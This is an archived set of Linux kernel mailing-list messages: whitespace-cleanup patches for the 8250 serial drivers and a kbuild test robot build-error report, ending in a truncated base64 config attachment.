 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 01/12] tty: serial: 8250: Fix whitespace errors
Date: Fri,  8 Jan 2016 11:21:57 +0100
Lines: 359
Approved: news@gmane.org
Message-ID: <1452248528-14023-2-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248826 32598 80.91.229.3 (8 Jan 2016 10:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:27:06 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:26:54 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUFp-0003yD-22
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:26:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754783AbcAHK0e convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:26:34 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44127 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752795AbcAHKW2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:28 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id DC74C58C4CC;
	Fri,  8 Jan 2016 11:22:25 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:25 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121667 gmane.linux.ports.parisc:26320
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121667>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_pci.c           | 10 +++--
 drivers/tty/serial/8250/8250_port.c          |  2 +
 drivers/tty/serial/8250/serial_cs.c          | 60 ++++++++++++++------=
--------
 9 files changed, 44 insertions(+), 40 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..c480729 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..e42a5b5 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..999f2d3 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,7 +13,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..9a04a8a 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
+#define PORT(_base, _irq)						\
 	{								\
 		.iobase		=3D _base,				\
 		.irq		=3D _irq,					\
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ccf43cb 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,7 +850,7 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
+			if (num_serial =3D=3D 0) {
 				moan_device("unknown NetMos/Mostech device", dev);
 			}
 	}
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v3 11/12] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Fri, 8 Jan 2016 18:52:53 +0800
Lines: 496
Approved: news@gmane.org
Message-ID: <201601081816.2mKMWmgZ%fengguang.wu@intel.com>
References: <1452248528-14023-12-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="+HP7ph2BbKc20aGI"
X-Trace: ger.gmane.org 1452250441 26440 80.91.229.3 (8 Jan 2016 10:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:54:01 +0000 (UTC)
Cc: kbuild-all@01.org, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:53:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUfy-0000D4-4p
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:53:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754357AbcAHKxp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:53:45 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:19843 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751673AbcAHKxo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:53:44 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga103.fm.intel.com with ESMTP; 08 Jan 2016 02:53:42 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,538,1444719600"; 
   d="gz'50?scan'50,208,50";a="889021143"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga002.fm.intel.com with ESMTP; 08 Jan 2016 02:53:39 -0800
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1aHUfl-0009Si-Hs; Fri, 08 Jan 2016 18:53:33 +0800
Content-Disposition: inline
In-Reply-To: <1452248528-14023-12-git-send-email-anton.wuerfel@fau.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26321 gmane.linux.kernel:2121685
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26321>


--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Phillip,

[auto build test ERROR on tty/tty-testing]
[also build test ERROR on v4.4-rc8 next-20160108]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Anton-Wuerfel/tty-serial-8250-Fix-checkpatch-warnings/20160108-182908
base:   https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git tty-testing
config: x86_64-randconfig-i0-201601 (attached as .config)
reproduce:
        # save the attached .config to linux build tree
        make ARCH=x86_64 

All errors (new ones prefixed by >>):

   drivers/tty/serial/8250/8250_pnp.c: In function 'serial_pnp_probe':
>> drivers/tty/serial/8250/8250_pnp.c:467:2: error: implicit declaration of function 'dev_debug' [-Werror=implicit-function-declaration]
     dev_debug(&dev->dev,
     ^
   cc1: some warnings being treated as errors

vim +/dev_debug +467 drivers/tty/serial/8250/8250_pnp.c

   461			uart.port.mapbase = pnp_mem_start(dev, 0);
   462			uart.port.iotype = UPIO_MEM;
   463			uart.port.flags = UPF_IOREMAP;
   464		} else
   465			return -ENODEV;
   466	
 > 467		dev_debug(&dev->dev,
   468			 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
   469			 uart.port.iobase, uart.port.mapbase,
   470			 uart.port.irq, uart.port.iotype);

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--+HP7ph2BbKc20aGI
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICLqTj1YAAy5jb25maWcAhFxdc9s2s77vr9Ck56LvRRrbcV1nzvgCJEEJFUkwBChbvuGo
tpJ6als5ktw3+fdnF+AHAC7VXGRM7ALEx348u1jq559+nrG34+5lc3x62Dw//5h93b5u95vj
9nH25el5+7+zRM4KqWc8EfpXYM6eXt++f/h+fdVcXc4uf7389ez9/uFqttzuX7fPs3j3+uXp
6xv0f9q9/vTzT7EsUjEH1kjomx/d453p7T0PD6JQuqpjLWTRJDyWCa8GYsmrtOErXmgFjJpn
TV3EsuIDh6x1WesmlVXO9M277fOXq8v3MN33V5fvOh5WxQsYO7WPN+82+4e/cEkfHsz0D+3y
msftF9vS98xkvEx42ai6LGXlLElpFi91xWI+pi3YijcZ07yI11oSnfO8Hh4KzpMmyVmTsxKH
